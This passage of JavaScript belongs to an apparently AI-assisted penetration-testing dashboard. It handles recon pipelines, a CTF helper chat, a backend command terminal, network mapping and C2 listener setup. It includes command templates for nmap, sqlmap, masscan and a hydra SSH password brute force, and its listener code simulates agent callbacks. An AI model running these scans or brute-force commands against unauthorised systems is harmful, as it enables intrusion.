return [];
}
},
// ============= END EXPLOIT SUGGESTIONS =============
// ============= RECON PIPELINE METHODS =============
async startPipeline() {
if (!this.newPipeline.target) return;
try {
const response = await fetch('/api/recon/pipeline', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(this.newPipeline)
});
const data = await response.json();
if (data.status === 'started') {
this.terminalHistory.push({
type: 'success',
content: `🚀 Pipeline started: ${data.message}\nPipeline ID: ${data.pipeline_id}\nEstimated time: ~${data.estimated_time} minutes`
});
// Start polling for pipeline status
this.pollPipelineStatus(data.pipeline_id);
// Reset form
this.newPipeline.target = '';
this.showPipelineModal = false;
}
} catch (e) {
console.error('Failed to start pipeline:', e);
this.terminalHistory.push({
type: 'error',
content: `Failed to start pipeline: ${e.message}`
});
}
},
async pollPipelineStatus(pipelineId) {
const poll = async () => {
try {
const response = await fetch(`/api/recon/pipeline/${pipelineId}`);
const data = await response.json();
// Update active pipelines list
const existing = this.activePipelines.find(p => p.id === pipelineId);
if (existing) {
Object.assign(existing, data);
} else {
this.activePipelines.push(data);
}
// Update hosts from pipeline
if (data.hosts_discovered > 0) {
await this.refreshNetworkHosts();
}
// Continue polling if not complete
if (data.status === 'running') {
setTimeout(poll, 5000);
} else if (data.status === 'completed') {
this.terminalHistory.push({
type: 'success',
content: `✅ Pipeline completed!\nTarget: ${data.target}\nHosts discovered: ${data.hosts_discovered}\nStages completed: ${data.total_stages}`
});
await this.refreshNetworkHosts();
}
} catch (e) {
console.error('Failed to poll pipeline:', e);
}
};
poll();
},
async loadActivePipelines() {
try {
const response = await fetch('/api/recon/pipelines');
const data = await response.json();
this.activePipelines = data.pipelines || [];
// Resume polling for running pipelines
for (const pipeline of this.activePipelines) {
if (pipeline.status === 'running') {
this.pollPipelineStatus(pipeline.id);
}
}
} catch (e) {
console.error('Failed to load pipelines:', e);
}
},
// ============= END RECON PIPELINE =============
// ============= CTF AGENT METHODS =============
getCategoryLabel(category) {
const labels = {
'general': '🎮 General',
'web': '🌐 Web Exploitation',
'crypto': '🔐 Cryptography',
'pwn': '💥 Binary PWN',
'reversing': '🔍 Reverse Engineering',
'forensics': '🔬 Forensics',
'osint': '🕵️ OSINT',
'misc': '🎲 Miscellaneous'
};
return labels[category] || labels['general'];
},
clearCtfContext() {
this.ctfAgent.challengeName = '';
this.ctfAgent.challengeDescription = '';
this.ctfAgent.hintsText = '';
this.ctfAgent.filesText = '';
this.ctfAgent.currentProgress = '';
this.ctfAgent.messages = [];
},
formatCtfMessage(content) {
// Convert markdown-like syntax to HTML
let formatted = content
// Code blocks
.replace(/```(\w*)\n([\s\S]*?)```/g, '<pre class="bg-sp-black p-3 rounded my-2 overflow-x-auto text-green-400 font-mono text-xs border border-sp-grey"><code>$2</code></pre>')
// Inline code
.replace(/`([^`]+)`/g, '<code class="bg-sp-black px-1 rounded text-green-400 font-mono">$1</code>')
// Bold
.replace(/\*\*([^*]+)\*\*/g, '<strong class="text-sp-red">$1</strong>')
// Line breaks
.replace(/\n/g, '<br>')
// Lists
.replace(/^- (.*)/gm, '<li class="ml-4">$1</li>');
return formatted;
},
async sendCtfMessage() {
if (!this.ctfAgent.input.trim() || this.ctfAgent.loading) return;
const userMessage = this.ctfAgent.input.trim();
this.ctfAgent.input = '';
// Add user message to chat
this.ctfAgent.messages.push({
role: 'user',
content: userMessage,
timestamp: new Date().toLocaleTimeString()
});
this.ctfAgent.loading = true;
this.scrollToBottom('ctf-messages');
try {
const hints = this.ctfAgent.hintsText.split('\n').filter(h => h.trim());
const files = this.ctfAgent.filesText.split(/[\n,]/).filter(f => f.trim());
const response = await fetch('/api/ctf/agent', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
message: userMessage,
category: this.ctfAgent.category,
challenge_name: this.ctfAgent.challengeName || null,
challenge_description: this.ctfAgent.challengeDescription || null,
hints: hints,
files: files,
current_progress: this.ctfAgent.currentProgress || null
})
});
const data = await response.json();
this.ctfAgent.messages.push({
role: 'assistant',
content: data.response || 'I encountered an error processing your request.',
timestamp: new Date().toLocaleTimeString()
});
} catch (e) {
console.error('CTF Agent error:', e);
this.ctfAgent.messages.push({
role: 'assistant',
content: '❌ Failed to connect to CTF Agent. Please check the backend service.',
timestamp: new Date().toLocaleTimeString()
});
}
this.ctfAgent.loading = false;
this.$nextTick(() => this.scrollToBottom('ctf-messages'));
},
sendCtfQuickPrompt(prompt) {
this.ctfAgent.input = prompt;
this.sendCtfMessage();
},
// ============= END CTF AGENT =============
// ============= END PROJECT MANAGEMENT =============
async loadProviders() {
try {
const response = await fetch('/api/providers');
this.providers = await response.json();
this.updateModels();
} catch (e) { console.error('Failed to load providers:', e); }
},
updateModels() {
if (this.providers[this.selectedProvider]) {
this.availableModels = this.providers[this.selectedProvider].models || [];
this.selectedModel = this.availableModels[0] || '';
}
},
savePreferences() {
// Persist provider/model selection (global)
fetch('/api/preferences', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ provider: this.selectedProvider, model: this.selectedModel })
}).catch(() => {});
},
handleVoiceCommand(command) {
// Process voice command - route to appropriate handler
const lower = command.toLowerCase();
if (lower.includes('scan')) {
this.scanModalOpen = true;
// Extract target if present
const match = lower.match(/scan\s+([^\s]+)/);
if (match) this.scanModal.target = match[1];
} else if (lower.includes('show') && lower.includes('agent')) {
this.activeTab = 'c2';
} else if (lower.includes('list') && lower.includes('scan')) {
this.activeTab = 'scan-history';
} else if (lower.includes('help')) {
this.showHelpPanel = true;
this.helpInput = command;
this.sendHelpMessage();
} else {
// Default: send to chat
this.userInput = command;
this.sendMessage();
}
},
async sendMessage() {
if (!this.userInput.trim() || this.isLoading) return;
const message = this.userInput;
this.userInput = '';
this.messages.push({ role: 'user', content: message });
this.isLoading = true;
this.scrollToBottom('chatContainer');
try {
const response = await fetch('/api/chat/phase', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
message: message,
phase: this.activePhase,
provider: this.selectedProvider,
model: this.selectedModel,
findings: this.findings
})
});
const data = await response.json();
const aiMessage = {
role: 'assistant',
content: data.content || 'Sorry, I encountered an error.',
phase: this.getCurrentPhase().name,
provider: this.selectedProvider,
model: this.selectedModel,
risk_score: data.risk_score,
findings: data.findings
};
this.messages.push(aiMessage);
if (data.findings && data.findings.length > 0) {
this.findings = [...this.findings, ...data.findings];
}
} catch (e) {
this.messages.push({
role: 'assistant',
content: '❌ Failed to connect to the backend service.',
phase: this.getCurrentPhase().name
});
}
this.isLoading = false;
this.scrollToBottom('chatContainer');
},
async executeCommand() {
if (!this.terminalInput.trim() || this.terminalLoading) return;
const command = this.terminalInput;
this.commandHistory.unshift(command);
this.historyIndex = -1;
this.terminalInput = '';
this.terminalHistory.push({ type: 'cmd', content: command });
this.terminalLoading = true;
this.terminalStreaming = true;
this.terminalPaused = false;
this.pausedBuffer = [];
this.terminalStartTime = Date.now();
this.lastExitCode = null;
this.scrollToBottom('terminalOutput');
// Use WebSocket for real-time streaming
try {
const wsProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${wsProtocol}//${window.location.host}/ws/terminal`;
console.log('Connecting to WebSocket:', wsUrl);
const ws = new WebSocket(wsUrl);
this.terminalWs = ws;
const self = this;
ws.onopen = function() {
console.log('WebSocket connected, sending command:', command);
const payload = JSON.stringify({ command: command, working_dir: '/workspace' });
console.log('Payload:', payload);
ws.send(payload);
};
ws.onmessage = function(event) {
console.log('WebSocket message:', event.data);
const data = JSON.parse(event.data);
// Buffer messages while paused
if (self.terminalPaused) {
self.pausedBuffer.push(data);
return;
}
if (data.type === 'stdout' && data.data) {
// Append to last stdout or create new one for continuous output
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'stdout') {
lastEntry.content += data.data;
} else {
self.terminalHistory.push({ type: 'stdout', content: data.data });
}
self.scrollToBottom('terminalOutput');
} else if (data.type === 'stderr' && data.data) {
self.terminalHistory.push({ type: 'stderr', content: data.data });
self.scrollToBottom('terminalOutput');
} else if (data.type === 'keepalive') {
// Update status for long-running scans
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'keepalive') {
lastEntry.content = data.message || `Scan in progress (${data.elapsed}s)...`;
} else {
self.terminalHistory.push({ type: 'keepalive', content: data.message || 'Scan in progress...' });
}
self.scrollToBottom('terminalOutput');
} else if (data.type === 'complete') {
// Remove keepalive message when complete
const lastEntry = self.terminalHistory[self.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'keepalive') {
self.terminalHistory.pop();
}
if (data.exit_code !== 0) {
self.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
}
self.lastExitCode = (typeof data.exit_code === 'number') ? data.exit_code : self.lastExitCode;
self.terminalLoading = false;
self.terminalStreaming = false;
ws.close();
self.terminalWs = null;
} else if (data.type === 'error' || data.error) {
self.terminalHistory.push({ type: 'stderr', content: data.message || data.error });
self.terminalLoading = false;
self.terminalStreaming = false;
}
};
ws.onerror = function(error) {
console.error('WebSocket error:', error);
self.terminalHistory.push({ type: 'stderr', content: '[WebSocket connection failed - using fallback]' });
// Fallback to regular fetch
self.terminalStreaming = false;
self.executeCommandFetch(command);
};
ws.onclose = function(event) {
console.log('WebSocket closed:', event.code, event.reason);
if (self.terminalStreaming) {
// Connection closed before complete message
if (event.code !== 1000) {
self.terminalHistory.push({ type: 'info', content: `[Connection closed: ${event.code}]` });
}
self.terminalLoading = false;
self.terminalStreaming = false;
}
};
} catch (e) {
console.error('WebSocket setup error:', e);
// Fallback to regular fetch
this.executeCommandFetch(command);
}
},
async executeCommandFetch(command) {
// Fallback method using regular HTTP
try {
const response = await fetch('/api/execute', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: command, timeout: 300 })
});
const data = await response.json();
if (data.stdout) this.terminalHistory.push({ type: 'stdout', content: data.stdout });
if (data.stderr) this.terminalHistory.push({ type: 'stderr', content: data.stderr });
if (data.exit_code !== 0) this.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
} catch (e) {
this.terminalHistory.push({ type: 'stderr', content: 'Failed to execute command: ' + e.message });
}
this.terminalLoading = false;
this.terminalStreaming = false;
this.scrollToBottom('terminalOutput');
},
cancelCommand() {
if (this.terminalWs && this.terminalStreaming) {
this.terminalWs.close();
this.terminalWs = null;
this.terminalStreaming = false;
this.terminalLoading = false;
this.terminalHistory.push({ type: 'info', content: '[Command cancelled]' });
}
},
togglePause() {
this.terminalPaused = !this.terminalPaused;
if (!this.terminalPaused && this.pausedBuffer.length) {
// Flush buffered messages
for (const data of this.pausedBuffer) {
if (data.type === 'stdout' && data.data) {
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'stdout') {
lastEntry.content += data.data;
} else {
this.terminalHistory.push({ type: 'stdout', content: data.data });
}
} else if (data.type === 'stderr' && data.data) {
this.terminalHistory.push({ type: 'stderr', content: data.data });
} else if (data.type === 'keepalive') {
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'keepalive') {
lastEntry.content = data.message || `Scan in progress (${data.elapsed}s)...`;
} else {
this.terminalHistory.push({ type: 'keepalive', content: data.message || 'Scan in progress...' });
}
} else if (data.type === 'complete') {
const lastEntry = this.terminalHistory[this.terminalHistory.length - 1];
if (lastEntry && lastEntry.type === 'keepalive') {
this.terminalHistory.pop();
}
if (data.exit_code !== 0) {
this.terminalHistory.push({ type: 'info', content: `Exit code: ${data.exit_code}` });
}
this.lastExitCode = (typeof data.exit_code === 'number') ? data.exit_code : this.lastExitCode;
this.terminalLoading = false;
this.terminalStreaming = false;
}
}
this.pausedBuffer = [];
this.scrollToBottom('terminalOutput');
}
},
copyTerminalOutput() {
try {
const text = this.terminalHistory
.filter(l => l.type === 'stdout' || l.type === 'stderr' || l.type === 'cmd')
.map(l => (l.type === 'cmd' ? `$ ${l.content}` : l.content))
.join('\n');
navigator.clipboard.writeText(text);
this.terminalHistory.push({ type: 'info', content: '[Output copied to clipboard]' });
this.scrollToBottom('terminalOutput');
} catch (e) {
this.terminalHistory.push({ type: 'stderr', content: 'Failed to copy output' });
}
},
historyUp() {
if (this.historyIndex < this.commandHistory.length - 1) {
this.historyIndex++;
this.terminalInput = this.commandHistory[this.historyIndex];
}
},
historyDown() {
if (this.historyIndex > 0) {
this.historyIndex--;
this.terminalInput = this.commandHistory[this.historyIndex];
} else if (this.historyIndex === 0) {
this.historyIndex = -1;
this.terminalInput = '';
}
},
executeQuickAction(action) {
if (action.tool) {
this.showScanModal(action.tool, action.scanType);
} else if (action.prompt) {
this.userInput = action.prompt;
this.activeTab = 'phase';
this.sendMessage();
} else if (action.command) {
this.terminalInput = action.command;
this.activeTab = 'terminal';
}
},
showScanModal(tool, scanType) {
const toolConfig = {
nmap: ['quick', 'full', 'stealth', 'vuln'],
nikto: ['default', 'ssl', 'full'],
gobuster: ['dir', 'dns'],
sqlmap: ['test', 'dbs'],
whatweb: ['default', 'aggressive'],
amass: ['default'],
hydra: ['default']
};
this.scanModal = { tool, target: '', scanType, types: toolConfig[tool] || [scanType] };
this.scanModalOpen = true;
},
async startScan() {
if (!this.scanModal.target) return;
try {
const response = await fetch('/api/scan', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
tool: this.scanModal.tool,
target: this.scanModal.target,
scan_type: this.scanModal.scanType
})
});
const data = await response.json();
this.scanModalOpen = false;
await this.refreshScans();
this.messages.push({
role: 'assistant',
phase: this.getCurrentPhase().name,
content: `🔄 Started **${this.scanModal.tool}** scan on \`${this.scanModal.target}\`\n\nScan ID: \`${data.scan_id}\``
});
} catch (e) { console.error('Failed to start scan:', e); }
},
async refreshScans() {
try {
const response = await fetch('/api/scans');
this.scans = await response.json();
this.scans.filter(s => s.status === 'completed' && s.parsed).forEach(scan => {
if (scan.parsed.findings) {
scan.parsed.findings.forEach(f => {
if (!this.findings.find(existing => existing.raw === f.raw)) {
this.findings.push({ id: `${scan.scan_id}-${this.findings.length}`, ...f, tool: scan.tool, target: scan.target });
}
});
}
});
} catch (e) { console.error('Failed to load scans:', e); }
},
async pollScan(scanId) {
try {
const response = await fetch(`/api/scan/${scanId}`);
const scan = await response.json();
const index = this.scans.findIndex(s => s.scan_id === scanId);
if (index !== -1) this.scans[index] = scan;
} catch (e) { console.error('Failed to poll scan:', e); }
},
async pollRunningScans() {
for (const scan of this.scans) {
if (scan.status === 'running' || scan.status === 'pending') await this.pollScan(scan.scan_id);
}
},
viewScanDetails(scan) { this.selectedScan = scan; this.detailsModalOpen = true; },
askAboutTool(tool) {
this.activeTab = 'phase';
this.userInput = `Explain how to use ${tool.name} for ${this.getCurrentPhase().name.toLowerCase()}. Include common options and example commands.`;
this.sendMessage();
},
async analyzeAttackChains() {
if (this.findings.length === 0) return;
this.isLoading = true;
try {
const response = await fetch('/api/attack-chains', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ findings: this.findings, provider: this.selectedProvider, model: this.selectedModel })
});
const data = await response.json();
this.attackChains = data.attack_chains || [];
this.activeTab = 'attack-chains';
} catch (e) { console.error('Failed to analyze attack chains:', e); }
this.isLoading = false;
},
countBySeverity(severity) { return this.findings.filter(f => f.severity === severity).length; },
// Scan History helpers
formatScanTime(timestamp) {
if (!timestamp) return 'Unknown';
const date = new Date(timestamp);
const now = new Date();
const diff = now - date;
if (diff < 60000) return 'Just now';
if (diff < 3600000) return Math.floor(diff / 60000) + ' min ago';
if (diff < 86400000) return Math.floor(diff / 3600000) + ' hours ago';
if (diff < 604800000) return Math.floor(diff / 86400000) + ' days ago';
return date.toLocaleDateString() + ' ' + date.toLocaleTimeString([], {hour: '2-digit', minute:'2-digit'});
},
async rescanTarget(scan) {
this.scanModal = {
tool: scan.tool,
target: scan.target,
scanType: scan.scan_type || 'default',
types: this.getScanTypes(scan.tool)
};
this.scanModalOpen = true;
},
getScanTypes(tool) {
const toolConfig = {
nmap: ['quick', 'full', 'stealth', 'vuln', 'os'],
nikto: ['default', 'ssl', 'full'],
gobuster: ['dir', 'dns', 'vhost'],
sqlmap: ['test', 'dbs', 'tables'],
whatweb: ['default', 'aggressive'],
amass: ['passive', 'active'],
hydra: ['ssh', 'ftp', 'http'],
masscan: ['quick', 'full']
};
return toolConfig[tool] || ['default'];
},
copyScanCommand(scan) {
const commands = {
nmap: `nmap -sV ${scan.target}`,
nikto: `nikto -h ${scan.target}`,
gobuster: `gobuster dir -u ${scan.target} -w /usr/share/wordlists/dirb/common.txt`,
sqlmap: `sqlmap -u "${scan.target}" --batch`,
whatweb: `whatweb ${scan.target}`,
amass: `amass enum -d ${scan.target}`,
hydra: `hydra -L users.txt -P passwords.txt ${scan.target} ssh`,
masscan: `masscan ${scan.target} -p1-65535 --rate=1000`
};
const cmd = commands[scan.tool] || `${scan.tool} ${scan.target}`;
navigator.clipboard.writeText(cmd);
this.terminalInput = cmd;
// Flash feedback
this.messages.push({
role: 'assistant',
content: `📋 Command copied to clipboard and terminal:\n\`\`\`bash\n${cmd}\n\`\`\``
});
},
async clearScanHistory() {
if (!confirm('Clear all scan history? This cannot be undone.')) return;
try {
await fetch('/api/scans/clear', { method: 'DELETE' });
this.scans = [];
this.findings = [];
} catch (e) {
console.error('Failed to clear scans:', e);
// Still clear locally if backend fails
this.scans = [];
}
},
// AI Provider display helpers
getProviderIcon(provider) {
const icons = {
'ollama-local': '🦙',
'ollama-network': '🌐',
openai: '🤖',
anthropic: '🧠'
};
return icons[provider] || '🤖';
},
getProviderName(provider) {
const names = {
'ollama-local': 'Local',
'ollama-network': 'Networked',
openai: 'OpenAI',
anthropic: 'Anthropic'
};
return names[provider] || provider;
},
getProviderStyle(provider) {
const styles = {
'ollama-local': 'bg-yellow-500/20 border-yellow-500/50 text-yellow-400',
'ollama-network': 'bg-blue-500/20 border-blue-500/50 text-blue-400',
openai: 'bg-green-500/20 border-green-500/50 text-green-400',
anthropic: 'bg-orange-500/20 border-orange-500/50 text-orange-400'
};
return styles[provider] || 'bg-sp-grey border-sp-grey-mid text-sp-white';
},
getProviderBadgeStyle(provider) {
const styles = {
'ollama-local': 'bg-yellow-500/20 text-yellow-400 border border-yellow-500/30',
'ollama-network': 'bg-blue-500/20 text-blue-400 border border-blue-500/30',
openai: 'bg-green-500/20 text-green-400 border border-green-500/30',
anthropic: 'bg-orange-500/20 text-orange-400 border border-orange-500/30'
};
return styles[provider] || 'bg-sp-grey text-sp-white-muted';
},
getSeverityBadgeClass(severity) {
const classes = {
critical: 'bg-sev-critical/20 text-sev-critical border border-sev-critical/50',
high: 'bg-sev-high/20 text-sev-high border border-sev-high/50',
medium: 'bg-sev-medium/20 text-sev-medium border border-sev-medium/50',
low: 'bg-sev-low/20 text-sev-low border border-sev-low/50',
info: 'bg-sev-info/20 text-sev-info border border-sev-info/50'
};
return classes[severity] || classes.info;
},
getRiskColor(score) {
if (score >= 9) return 'bg-sev-critical/20 text-sev-critical border border-sev-critical/50';
if (score >= 7) return 'bg-sev-high/20 text-sev-high border border-sev-high/50';
if (score >= 4) return 'bg-sev-medium/20 text-sev-medium border border-sev-medium/50';
return 'bg-sev-low/20 text-sev-low border border-sev-low/50';
},
getRiskLabel(score) {
if (score >= 9) return 'CRITICAL';
if (score >= 7) return 'HIGH';
if (score >= 4) return 'MEDIUM';
return 'LOW';
},
renderMarkdown(content) { return marked.parse(content || ''); },
scrollToBottom(containerId) {
if (this.scrollLock) return;
this.$nextTick(() => {
const container = document.getElementById(containerId);
if (container) container.scrollTop = container.scrollHeight;
});
},
formatElapsed(startTs) {
if (!startTs) return '0s';
const secs = Math.floor((Date.now() - startTs) / 1000);
if (secs < 60) return `${secs}s`;
const m = Math.floor(secs / 60), s = secs % 60;
return `${m}m ${s}s`;
},
// Network Map Functions
getDeviceIcon(osType) {
if (!osType) return '❓';
const os = osType.toLowerCase();
if (os.includes('windows')) return '🪟';
if (os.includes('linux') || os.includes('ubuntu') || os.includes('debian') || os.includes('centos') || os.includes('redhat') || os.includes('fedora')) return '🐧';
if (os.includes('mac') || os.includes('darwin') || os.includes('apple') || os.includes('ios')) return '🍎';
if (os.includes('cisco') || os.includes('juniper') || os.includes('router') || os.includes('switch') || os.includes('fortinet') || os.includes('palo alto')) return '📡';
if (os.includes('server') || os.includes('esxi') || os.includes('vmware')) return '🖥️';
if (os.includes('printer') || os.includes('hp') || os.includes('canon') || os.includes('epson')) return '🖨️';
if (os.includes('android')) return '📱';
if (os.includes('freebsd') || os.includes('openbsd')) return '😈';
return '❓';
},
getOsColor(osType) {
if (!osType) return 'text-sp-white-muted';
const os = osType.toLowerCase();
if (os.includes('windows')) return 'text-blue-400';
if (os.includes('linux')) return 'text-yellow-400';
if (os.includes('mac') || os.includes('apple')) return 'text-gray-300';
if (os.includes('cisco') || os.includes('router')) return 'text-green-400';
return 'text-sp-white';
},
// Get normalized OS category for filtering
getOsCategory(osType) {
if (!osType) return 'unknown';
const os = osType.toLowerCase();
if (os.includes('windows')) return 'Windows';
if (os.includes('linux') || os.includes('ubuntu') || os.includes('debian') || os.includes('centos') || os.includes('redhat') || os.includes('fedora')) return 'Linux';
if (os.includes('mac') || os.includes('darwin') || os.includes('apple') || os.includes('ios')) return 'macOS';
if (os.includes('cisco') || os.includes('juniper') || os.includes('router') || os.includes('switch') || os.includes('fortinet')) return 'router';
if (os.includes('server') || os.includes('esxi') || os.includes('vmware')) return 'server';
return 'unknown';
},
toggleOsFilter(osType) {
const index = this.osFilters.indexOf(osType);
if (index === -1) {
this.osFilters.push(osType);
} else {
this.osFilters.splice(index, 1);
}
this.renderNetworkMap();
},
selectHost(host) {
this.selectedHost = host;
this.highlightHostOnMap(host.ip);
},
highlightHostOnMap(ip) {
d3.selectAll('.network-node').classed('selected', false);
d3.select(`[data-ip="${ip}"]`).classed('selected', true);
},
async startRangeScan() {
if (!this.rangeScanTarget) return;
this.showRangeScanModal = false;
this.networkMapLoading = true;
this.networkScanProgress = { current: 0, total: 0, currentIp: '', hostsFound: 0 };
this.activeTab = 'network-map';
try {
const response = await fetch('/api/network/scan', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
target: this.rangeScanTarget,
scan_type: this.rangeScanType
})
});
const data = await response.json();
if (data.scan_id) {
// Set initial progress based on target range
if (data.total_hosts) {
this.networkScanProgress.total = data.total_hosts;
}
// Poll for results
await this.pollNetworkScan(data.scan_id);
}
} catch (e) {
console.error('Failed to start network scan:', e);
this.messages.push({
role: 'assistant',
phase: 'Reconnaissance',
content: '❌ Failed to start network scan: ' + e.message
});
}
this.networkMapLoading = false;
this.networkScanProgress = { current: 0, total: 0, currentIp: '', hostsFound: 0 };
},
async pollNetworkScan(scanId) {
const maxAttempts = 120; // 10 minutes max
for (let i = 0; i < maxAttempts; i++) {
await new Promise(r => setTimeout(r, 2000)); // Poll every 2 seconds for better progress updates
try {
const response = await fetch(`/api/network/scan/${scanId}`);
const data = await response.json();
// Update progress
if (data.progress) {
this.networkScanProgress = {
current: data.progress.scanned || 0,
total: data.progress.total || this.networkScanProgress.total,
currentIp: data.progress.current_ip || '',
hostsFound: data.progress.hosts_found || 0
};
}
if (data.status === 'completed') {
this.networkHosts = data.hosts || [];
this.$nextTick(() => this.renderNetworkMap());
return;
} else if (data.status === 'failed') {
throw new Error(data.error || 'Scan failed');
}
// Update partial results as hosts are discovered
if (data.hosts && data.hosts.length > 0) {
this.networkHosts = data.hosts;
this.$nextTick(() => this.renderNetworkMap());
}
} catch (e) {
console.error('Failed to poll scan:', e);
}
}
},
async refreshNetworkMap() {
this.networkMapLoading = true;
try {
const response = await fetch('/api/network/hosts');
const data = await response.json();
this.networkHosts = data.hosts || [];
this.$nextTick(() => this.renderNetworkMap());
} catch (e) {
console.error('Failed to refresh network map:', e);
}
this.networkMapLoading = false;
},
async refreshNetworkHosts() {
// Alias for refreshNetworkMap - loads hosts from API
await this.refreshNetworkMap();
},
scanHost(ip) {
this.scanModal = { tool: 'nmap', target: ip, scanType: 'full', types: ['quick', 'full', 'vuln'] };
this.scanModalOpen = true;
},
renderNetworkMap() {
// Switch between Cytoscape and D3 views
if (this.networkMapView === 'cytoscape' && window.GooseStrikeComponents && window.GooseStrikeComponents.mount && window.GooseStrikeComponents.mount.networkMap) {
this.renderNetworkMapCytoscape();
return;
}
// Fallback to D3
this.renderNetworkMapD3();
},
renderNetworkMapCytoscape() {
const containerId = 'networkMapCytoscape';
// Apply OS filters
let filteredHosts = this.networkHosts;
if (this.osFilters.length > 0) {
filteredHosts = this.networkHosts.filter(host => {
const category = this.getOsCategory(host.os_type);
return this.osFilters.includes(category);
});
}
window.GooseStrikeComponents.mount.networkMap(containerId, {
hosts: filteredHosts,
onSelect: (hostIp) => {
const host = this.networkHosts.find(h => h.ip === hostIp);
if (host) this.selectHost(host);
},
filters: { os: this.osFilters }
});
},
renderNetworkMapD3() {
const svg = d3.select('#networkMapSvg');
svg.selectAll('*').remove();
if (this.networkHosts.length === 0) return;
const container = document.getElementById('networkMapSvg').parentElement;
const width = container.clientWidth;
const height = container.clientHeight;
// Filter hosts based on active OS filters
let filteredHosts = this.networkHosts;
if (this.osFilters.length > 0) {
filteredHosts = this.networkHosts.filter(host => {
const category = this.getOsCategory(host.os_type);
return this.osFilters.includes(category);
});
}
if (filteredHosts.length === 0 && this.osFilters.length > 0) {
// Show message if no hosts match filter
svg.append('text')
.attr('x', width / 2)
.attr('y', height / 2)
.attr('text-anchor', 'middle')
.attr('fill', '#666')
.text('No hosts match the selected filters');
return;
}
// Create a gateway node (center)
const gatewayIp = this.networkHosts[0]?.ip.split('.').slice(0, 3).join('.') + '.1';
const nodes = [
{ id: 'gateway', ip: gatewayIp, os_type: 'router', hostname: 'Gateway', isGateway: true }
];
// Add host nodes (filtered)
filteredHosts.forEach(host => {
nodes.push({
id: host.ip,
ip: host.ip,
os_type: host.os_type,
hostname: host.hostname,
ports: host.ports
});
});
// Create links from each host to gateway
const links = filteredHosts.map(host => ({
source: 'gateway',
target: host.ip
}));
// Force simulation - settles quickly and stops
const simulation = d3.forceSimulation(nodes)
.force('link', d3.forceLink(links).id(d => d.id).distance(150))
.force('charge', d3.forceManyBody().strength(-300))
.force('center', d3.forceCenter(width / 2, height / 2))
.force('collision', d3.forceCollide().radius(60))
.alphaDecay(0.05) // Faster decay = settles quicker
.velocityDecay(0.4); // More friction = less bouncy
// Stop simulation after it settles (2 seconds)
setTimeout(() => {
simulation.stop();
// Fix all node positions so they don't move
nodes.forEach(n => {
n.fx = n.x;
n.fy = n.y;
});
}, 2000);
// Draw links
const link = svg.append('g')
.selectAll('line')
.data(links)
.enter().append('line')
.attr('class', 'network-link')
.attr('stroke', '#3a3a3a')
.attr('stroke-width', 2);
// Draw nodes
const node = svg.append('g')
.selectAll('g')
.data(nodes)
.enter().append('g')
.attr('class', 'network-node')
.attr('data-ip', d => d.ip)
.style('cursor', 'pointer');
// Handle click separately from drag
let isDragging = false;
node.on('click', (event, d) => {
if (isDragging) {
isDragging = false;
return;
}
if (!d.isGateway) {
const host = this.networkHosts.find(h => h.ip === d.ip);
if (host) this.selectHost(host);
}
});
// Node circles
node.append('circle')
.attr('r', d => d.isGateway ? 35 : 30)
.attr('fill', d => d.isGateway ? '#1f1f1f' : '#2a2a2a')
.attr('stroke', d => d.isGateway ? '#dc2626' : '#3a3a3a')
.attr('stroke-width', 2);
// Device icons
node.append('text')
.attr('class', 'device-icon')
.attr('text-anchor', 'middle')
.attr('dy', '0.35em')
.text(d => this.getDeviceIcon(d.os_type));
// IP labels
node.append('text')
.attr('class', 'node-ip')
.attr('dy', 50)
.text(d => d.ip);
// Hostname labels
node.append('text')
.attr('class', 'node-label')
.attr('dy', 65)
.text(d => d.hostname || '');
// Update positions on tick
simulation.on('tick', () => {
link
.attr('x1', d => d.source.x)
.attr('y1', d => d.source.y)
.attr('x2', d => d.target.x)
.attr('y2', d => d.target.y);
node.attr('transform', d => `translate(${d.x},${d.y})`);
});
// Drag behavior - allows repositioning nodes
node.call(d3.drag()
.on('start', (event, d) => {
isDragging = false;
d.fx = d.x;
d.fy = d.y;
})
.on('drag', (event, d) => {
isDragging = true;
d.fx = event.x;
d.fy = event.y;
// Update position immediately
d.x = event.x;
d.y = event.y;
d3.select(event.sourceEvent.target.parentNode)
.attr('transform', `translate(${d.x},${d.y})`);
// Update connected links
link.filter(l => l.source.id === d.id || l.target.id === d.id)
.attr('x1', l => l.source.x)
.attr('y1', l => l.source.y)
.attr('x2', l => l.target.x)
.attr('y2', l => l.target.y);
})
.on('end', (event, d) => {
// Keep node fixed at dropped position
d.fx = d.x;
d.fy = d.y;
}));
},
// ============ C2 COMMAND & CONTROL FUNCTIONS ============
async createListener() {
if (!this.newListener.name || !this.newListener.port) return;
const listener = {
id: 'listener-' + Date.now(),
...this.newListener,
status: 'stopped',
connections: 0,
created_at: new Date().toLocaleString()
};
this.c2Listeners.push(listener);
this.showListenerModal = false;
this.newListener = { name: '', type: 'http', host: '0.0.0.0', port: 8443, protocol: 'HTTPS' };
this.terminalHistory.push({ type: 'info', content: `[C2] Created listener: ${listener.name} on ${listener.host}:${listener.port}` });
},
async toggleListener(listener) {
listener.status = listener.status === 'running' ? 'stopped' : 'running';
if (listener.status === 'running') {
listener.started_at = new Date().toLocaleString();
this.terminalHistory.push({ type: 'info', content: `[C2] Started listener: ${listener.name}` });
// Simulate agent callback for demo after 3 seconds
if (this.c2Agents.length === 0) {
setTimeout(() => this.simulateAgentCallback(listener), 3000);
}
} else {
this.terminalHistory.push({ type: 'info', content: `[C2] Stopped listener: ${listener.name}` });
}
},
